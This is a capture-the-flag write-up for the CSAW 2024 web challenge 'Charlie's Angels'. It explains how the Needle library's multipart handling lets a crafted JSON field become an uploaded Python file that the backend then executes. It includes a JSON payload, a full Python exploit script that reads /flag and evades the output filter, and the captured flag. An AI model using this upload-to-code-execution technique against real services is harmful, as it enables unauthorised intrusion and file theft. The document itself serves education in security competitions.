108 lines
4 KiB
Markdown
108 lines
4 KiB
Markdown
|
|
---
|
||
|
|
title: "CSAW CTF 2024 Quals: Web - Charlie's Angels"
|
||
|
|
date: 2024/09/09
|
||
|
|
tags: ['ctf', 'web']
|
||
|
|
---
|
||
|
|
## Task
|
||
|
|
> The way that this franchise has fundamentally changed me...
|
||
|
|
>
|
||
|
|
> [https://charliesangels.ctf.csaw.io](https://charliesangels.ctf.csaw.io)
|
||
|
|
>
|
||
|
|
> [`dist.zip`](https://ctf.csaw.io/files/95756f9367ac63734754d66c526cc843/dist.zip?token=eyJ1c2VyX2lkIjoyNjc1LCJ0ZWFtX2lkIjo5MDUsImZpbGVfaWQiOjYxfQ.Zt-xEQ.8uqRTzphmw40k87N2JpV5Q4FMwU)
|
||
|
|
|
||
|
|
- `Author: Vie`
|
||
|
|
- `Points: 423`
|
||
|
|
- `Solves: 112 / 1181 (9.483%)`
|
||
|
|
|
||
|
|
## Writeup
|
||
|
|
|
||
|
|
The challenge presents us with a website where we can click a link and get some JSON data about an angel.
|
||
|
|
|
||
|
|
Looking at the provided source code, we can see that part of the backend is written in JavaScript (`index.js`) while the other half is written in Python (`app.py`).
|
||
|
|
|
||
|
|
The most interesting part is the `/restore` endpoint of `app.py`, which will start a Python subprocess of some file that we presumably can create. However, only the JavaScript code is publicly accessible, so we can only interact with the Python code indirectly through `index.js`.
|
||
|
|
|
||
|
|
Working backwards, we can see that `/restore` checks the `id` parameter passed to it, and if the Python script `backups/{id}.py` exists, it will run it and return the output produced, as long as it does not contain the flag prefix. The only way we can create such a file is through `app.py`'s `/backup` route, which will save files uploaded to it if provided.
|
||
|
|
|
||
|
|
If we look at the corresponding route in `index.js` that calls `/backup` though, we see that it only seems to send some JSON data instead of a file:
|
||
|
|
|
||
|
|
```js
|
||
|
|
...
|
||
|
|
const data = {
|
||
|
|
id: req.sessionID,
|
||
|
|
angel: req.session.angel
|
||
|
|
};
|
||
|
|
const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
|
||
|
|
needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => {
|
||
|
|
...
|
||
|
|
```
|
||
|
|
|
||
|
|
However, reading the documentation for the Needle library used to send the request tells us that Needle will interpret certain objects as file uploads. The most relevant example is as follows:
|
||
|
|
|
||
|
|
```js
|
||
|
|
var buffer = fs.readFileSync('/path/to/package.zip');
|
||
|
|
|
||
|
|
var data = {
|
||
|
|
zip_file: {
|
||
|
|
buffer : buffer,
|
||
|
|
filename : 'mypackage.zip',
|
||
|
|
content_type : 'application/octet-stream'
|
||
|
|
}
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
When we send a POST request to `/angel`, the fields of the `angel` parameter first checked to be strings, except for `talents`, and are saved to `req.session.angel`. Therefore, we can send the following JSON data to upload a script to read the flag:
|
||
|
|
|
||
|
|
```json
|
||
|
|
{
|
||
|
|
"angel": {
|
||
|
|
"talents": {
|
||
|
|
"buffer": "print(__import__('pathlib').Path('/flag').read_text())",
|
||
|
|
"content_type": "text/plain",
|
||
|
|
"filename": "filename.py"
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
There are a few more details we need to address though. For the name of the file accessed by `/restore`, we can see that the server will only ever look at a specific file determined by our session ID. We can very easily find this ID out though, so this is not an issue. The other issue is the check that the server performs on the output for the flag. This is trivially bypassed though by just outputting a substring of the flag starting at the second character.
|
||
|
|
|
||
|
|
The following script will send the proper requests and get us the flag:
|
||
|
|
|
||
|
|
```py
|
||
|
|
import requests
|
||
|
|
|
||
|
|
# use a session to keep cookies
|
||
|
|
ses = requests.Session()
|
||
|
|
url = 'https://charliesangels.ctf.csaw.io'
|
||
|
|
|
||
|
|
# get the session cookie and determine the id
|
||
|
|
req = ses.get(url + '/angel')
|
||
|
|
session_id = req.json()['id']
|
||
|
|
|
||
|
|
# data we will send to /angel to upload a file
|
||
|
|
json = {
|
||
|
|
'angel': {
|
||
|
|
'talents': {
|
||
|
|
'buffer': 'print(__import__("pathlib").Path("/flag").read_text()[1:])',
|
||
|
|
'content_type': 'text/plain',
|
||
|
|
'filename': session_id + '.py'
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
# upload the file
|
||
|
|
ses.post(url + '/angel', json=json)
|
||
|
|
|
||
|
|
# get the output of our script
|
||
|
|
flag = ses.get(url + '/restore').text
|
||
|
|
print(flag)
|
||
|
|
# output: b'sawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!}\n'
|
||
|
|
```
|
||
|
|
|
||
|
|
Adding the missing `c` to the start of the flag, we get `csawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!}` as the flag.
|
||
|
|
|
||
|
|
## Reference
|
||
|
|
|
||
|
|
- [Needle documentation](https://www.npmjs.com/package/needle)
|